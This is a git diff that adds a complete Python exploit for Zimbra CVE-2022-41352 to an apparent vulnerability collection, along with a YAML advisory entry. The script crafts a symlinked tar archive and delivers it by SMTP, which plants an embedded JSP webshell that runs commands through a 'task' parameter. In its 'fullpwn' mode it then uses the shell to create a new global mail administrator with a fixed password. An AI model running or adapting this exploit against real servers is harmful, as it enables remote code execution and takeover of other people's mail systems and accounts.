diff --git a/cve/Zimbra/2022/CVE-2022-41352/cve-2022-41352.py b/cve/Zimbra/2022/CVE-2022-41352/cve-2022-41352.py new file mode 100644 index 0000000000000000000000000000000000000000..d440f7e6ad590541df5cfcb09723f758a5e5975f --- /dev/null +++ b/cve/Zimbra/2022/CVE-2022-41352/cve-2022-41352.py @@ -0,0 +1,236 @@ +#!/usr/bin/env python3 + +import sys +import smtplib +import argparse +from time import sleep +from email.mime.multipart import MIMEMultipart +from email.mime.application import MIMEApplication +from email.mime.text import MIMEText +import requests +from requests.packages.urllib3.exceptions import InsecureRequestWarning + +# CONFIGURATION +#---------------------------------- +TARGET = 'mail.test.org' +WEBSHELL_PATH = '/public/jsp' +WEBSHELL_NAME = 'Startup1_3.jsp' +ATTACHMENT = 'payload.tar' +SENDER = 'test@test.org' +RECIPIENT = 'admin@test.org' + +EMAIL_SUBJECT = 'CVE-2022-41352' +EMAIL_BODY = 'Just testing.

Don\'t mind me.

' +#---------------------------------- + +# Only change this if zimbra was not installed in the default location +UPLOAD_BASE = '/opt/zimbra/jetty_base/webapps/zimbra' + + +def create_tar_payload(payload, payload_name, payload_path, lnk='startup'): + # Block 1 + link = lnk.encode() + mode = b'0000777\x00' # link permissions + ouid = b'0001745\x00' # octal uid (997) + ogid = b'0001745\x00' # octal gid + lnsz = b'00000000000\x00' # file size (link = 0) + lmod = b'14227770134\x00' # last modified (octal unix) + csum = b' ' # checksum = 8 blanks + type = b'2' # type (link = 2) + targ = payload_path.encode() # link target + magi = b'ustar \x00' # ustar magic bytes + version + ownu = b'zimbra' # user owner + owng = b'zimbra' # group owner + vers = b'\x00'*8 + b'\x00'* 8 # device major and minor + pref = b'\x00'*155 # prefix (only used if the file name length exceeds 100) + + raw_b1_1 = link + b'\x00'*(100-len(link)) + mode + ouid + ogid + lnsz + lmod + raw_b1_2 = type + targ + b'\x00'*(100-len(targ)) + magi + ownu + b'\x00'*(32-len(ownu)) + owng + b'\x00'*(32-len(owng)) + vers + pref + # calculate and insert checksum + csum = oct(sum(b for b in raw_b1_1+csum+raw_b1_2))[2:] + raw_b1 = raw_b1_1 + f'{csum:>07}'.encode() + b'\x00' + raw_b1_2 + # pad block to 512 + raw_b1 += b'\00'*(512-len(raw_b1)) + + # Block 2 + mode = b'0000644\x00' # file permissions + file = f'{lnk}/{payload_name}'.encode() + flsz = oct(len(payload))[2:] # file size + csum = b' ' # checksum = 8 blanks + type = b'0' # type (file = 0) + targ = b'\x00'*100 # link target = none + + raw_b2_1 = file + b'\x00'*(100-len(file)) + mode + ouid + ogid + f'{flsz:>011}'.encode() + b'\x00' + lmod + raw_b2_2 = type + targ + magi + ownu + b'\x00'*(32-len(ownu)) + owng + b'\x00'*(32-len(owng)) + vers + pref + # calculate and insert checksum + csum = oct(sum(b for b in raw_b2_1+csum+raw_b2_2))[2:] + raw_b2 = raw_b2_1 + f'{csum:>07}'.encode() + b'\x00' + raw_b2_2 + # pad block to 512 + raw_b2 += b'\00'*(512-len(raw_b2)) + + + # Assemble + raw_tar = raw_b1 + raw_b2 + payload + b'\x00'*(512-(len(payload)%512)) + raw_tar += b'\x00' * 512 * 2 # Trailer: end with 2 empty blocks + + return raw_tar + +# Update this if you want to use a legit email account for sending the payload +def smtp_send_file(target, sender, recipient, subject, body, attachment, attachment_name): + msg = MIMEMultipart() + msg['Subject'] = subject + msg['From'] = sender + msg['To'] = recipient + + message = MIMEText(body, 'html') + msg.attach(message) + + att = MIMEApplication(attachment) + att.add_header('Content-Disposition', 'attachment', filename=attachment_name) + msg.attach(att) + + try: + print(f'>>> Sending payload') + smtp_server = smtplib.SMTP(target,25) + smtp_server.sendmail(sender, recipient, msg.as_string()) + print(f'>>> Payload delivered') + except Exception as e: + print(f'[!] Failed to send the mail: {e}') + sys.exit(1) + +def verify_upload(target, shell, path): + print(f'>>> Verifying upload to {path}/{shell} ...') + sleep(5) # give the server time to process the email + resp = requests.get(f'https://{target}{path}/{shell}', verify=False) + if resp.status_code == 200: + print(f'>>> [PWNED] Upload successful!') + else: + print(f'>>> Upload unsuccesful :(') + sys.exit(1) + +def create_new_zimbra_admin(target, shell, path): + url = f'https://{target}' + pw = 'Pwn1ng_Z1mbra_!s_fun' + print(f'>>> Adding a new global administrator') + if (input(f'>>> Are you sure you want to continue? (yN): ') != 'y'): + sys.exit(0) + admin = input(f'>>> Enter the new admin email (newadmin@domain.com): ') + r = requests.get(f'{url}/{path}/{shell}?task=/opt/zimbra/bin/zmprov ca {admin} {pw}', verify=False) + r = requests.get(f'{url}/{path}/{shell}?task=/opt/zimbra/bin/zmprov ma {admin} zimbraIsAdminAccount TRUE', verify=False) + + print(f'>>> Login to {url}:7071/zimbraAdmin/ with:') + print(f'>>> Email : {admin}') + print(f'>>> Password : {pw}') + + +def main(args): + global TARGET,WEBSHELL_PATH,WEBSHELL_NAME,ATTACHMENT,SENDER,RECIPIENT,EMAIL_SUBJECT,EMAIL_BODY + + # Kali JSP WebShell + payload = b'
<%@ page import="java.io.*" %><% String cmd=request.getParameter("task");String output="";if(cmd!=null){String s=null;try {Process p=Runtime.getRuntime().exec(cmd);BufferedReader sI=new BufferedReader(new InputStreamReader(p.getInputStream()));while((s = sI.readLine())!=null){output+=s;}}catch(IOException e){e.printStackTrace();}} %>
<%=output %>
' + + # Using this instead of argparse default values to allow easy manual configuration as well + if args.payload: + try: + with open(args.payload, 'rb') as f: + payload = f.read() + except Exception as e: + print(f'Failed to read {args.payload}: {e}') + sys.exit(1) + print(f'>>> Using custom payload from: {args.payload}') + else: + print(f'>>> Using default payload: JSP Webshell') + if args.path: + WEBSHELL_PATH = args.path + if args.file: + WEBSHELL_NAME = args.file + if args.attach: + ATTACHMENT = args.attach + + tar = create_tar_payload(payload, WEBSHELL_NAME, UPLOAD_BASE+WEBSHELL_PATH) + + print(f'>>> Assembled payload attachment: {ATTACHMENT}') + print(f'>>> Payload will be extracted to ({UPLOAD_BASE}){WEBSHELL_PATH}/{WEBSHELL_NAME}') + if args.mode == 'manual': + with open(ATTACHMENT, 'wb') as f: + f.write(tar) + print(f'>>> Attachment saved locally.') + sys.exit(0) + + if args.target: + TARGET = args.target + + print(f'>>> Targeting {TARGET}') + + if args.sender: + SENDER = args.sender + if args.recip: + RECIPIENT = args.recip + if args.subject: + EMAIL_SUBJECT = args.subject + if args.body: + try: + with open(args.body, 'rb') as f: + EMAIL_BODY = f.read().decode() + except Exception as e: + print(f'Failed to read {args.body}: {e}') + sys.exit(1) + print(f'>>> Using custom email body from: {args.body}') + + + smtp_send_file( TARGET, + SENDER, + RECIPIENT, + EMAIL_SUBJECT, + EMAIL_BODY, + tar, + ATTACHMENT ) + + requests.packages.urllib3.disable_warnings(InsecureRequestWarning) + + verify_upload(TARGET, WEBSHELL_NAME, WEBSHELL_PATH) + + print(f'>>> Shell at: https://{TARGET}{WEBSHELL_PATH}/{WEBSHELL_NAME}') + if args.mode == 'auto': + sys.exit(0) + + if args.payload: + print(f'>>> (!) "fullpwn" depends on the default JSP webshell - won\'t create the admin account') + else: + create_new_zimbra_admin(TARGET, WEBSHELL_NAME, WEBSHELL_PATH) + + sys.exit(0) + +if __name__ == '__main__': + epi = ''' +Alternatively, edit the script to change the default configuration. + +The available modes are: + + manual : Only create the payload - you have to deploy the payload yourself. + auto : Create a webshell and deploy it via SMTP. + fullpwn : After deploying a webshell, add a new global mail administrator. +''' + + p = argparse.ArgumentParser( + description = 'CVE-2022-41352 Zimbra RCE', + formatter_class = argparse.RawDescriptionHelpFormatter, + epilog = epi + ) + p.add_argument('mode', metavar='mode', choices=['manual', 'auto', 'fullpwn'], help='(manual|auto|fullpwn) - see below') + + p.add_argument('--target', required=False, metavar='', dest='target', help=f'the target server (default: "{TARGET}")') + p.add_argument('--payload', required=False, metavar='', help='the file to save on the target (default: jsp webshell)') + p.add_argument('--path', required=False, metavar='', help=f'relative path for the file upload (default: "{WEBSHELL_PATH}")') + p.add_argument('--file', required=False, metavar='', help=f'name of the uploaded file (default: "{WEBSHELL_NAME}")') + p.add_argument('--attach', required=False, metavar='', help=f'name of the email attachment containing the payload (default: "{ATTACHMENT}")') + p.add_argument('--sender', required=False, metavar='', help=f'sender mail address (default: "{SENDER}")') + p.add_argument('--recip', required=False, metavar='', help=f'recipient mail address (default: "{RECIPIENT}") (if you can deploy the email directly to the server, neither the sender nor the recipient have to exist for the exploit to work)') + p.add_argument('--subject', required=False, metavar='', help=f'subject to use in the email (default: "{EMAIL_SUBJECT}")') + p.add_argument('--body', required=False, metavar='', help=f'file containing the html content for the email body (default: "{EMAIL_BODY}")') + + args = p.parse_args() + + main(args) diff --git a/cve/Zimbra/2022/yaml/CVE-2022-41352.yaml b/cve/Zimbra/2022/yaml/CVE-2022-41352.yaml new file mode 100644 index 0000000000000000000000000000000000000000..1a051231ac5a660ee6d6fd895c043e8238b5def3 --- /dev/null +++ b/cve/Zimbra/2022/yaml/CVE-2022-41352.yaml @@ -0,0 +1,24 @@ +id: CVE-2022-41352 +source: https://github.com/Cr4ckC4t/cve-2022-41352-zimbra-rce +info: + name: Zimbra提供一套开源协同办公套件包括WebMail,日历,通信录,Web文档管理和创作。 + severity: critical + description: | + An issue was discovered in Zimbra Collaboration (ZCS) 8.8.15 and 9.0. An attacker can upload arbitrary files through amavisd via a cpio loophole (extraction to /opt/zimbra/jetty/webapps/zimbra/public) that can lead to incorrect access to any other user accounts. Zimbra recommends pax over cpio. Also, pax is in the prerequisites of Zimbra on Ubuntu; however, pax is no longer part of a default Red Hat installation after RHEL 6 (or CentOS 6). Once pax is installed, amavisd automatically prefers it over cpio. + scope-of-influence: + ZCS < 8.8.15 patch 33 + ZCS < 9.0.0 patch 26 + reference: + - https://nvd.nist.gov/vuln/detail/CVE-2022-41352 + - https://wiki.zimbra.com/wiki/Security_Center + - https://forums.zimbra.org/viewtopic.php?t=71153&p=306532 + - https://wiki.zimbra.com/wiki/Zimbra_Security_Advisories + - http://packetstormsecurity.com/files/169458/Zimbra-Collaboration-Suite-TAR-Path-Traversal.html + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H + cvss-score: 9.8 + cve-id: CVE-2022-41352 + cwe-id: CWE-434 + cnvd-id: None + kve-id: None + tags: CVE-2022, 文件上传 \ No newline at end of file diff --git a/other_list.yaml b/other_list.yaml index cf82c0bd64c126427ee669564a1581a3da116ffd..b5ad083244f7acf3dcef5ad06fa50270e0a9f701 100644 --- a/other_list.yaml +++ b/other_list.yaml @@ -59,5 +59,7 @@ cve: - CVE-2022-30525 WordPress: - CVE-2019-8942 + Zimbra: + - CVE-2022-41352 cnvd: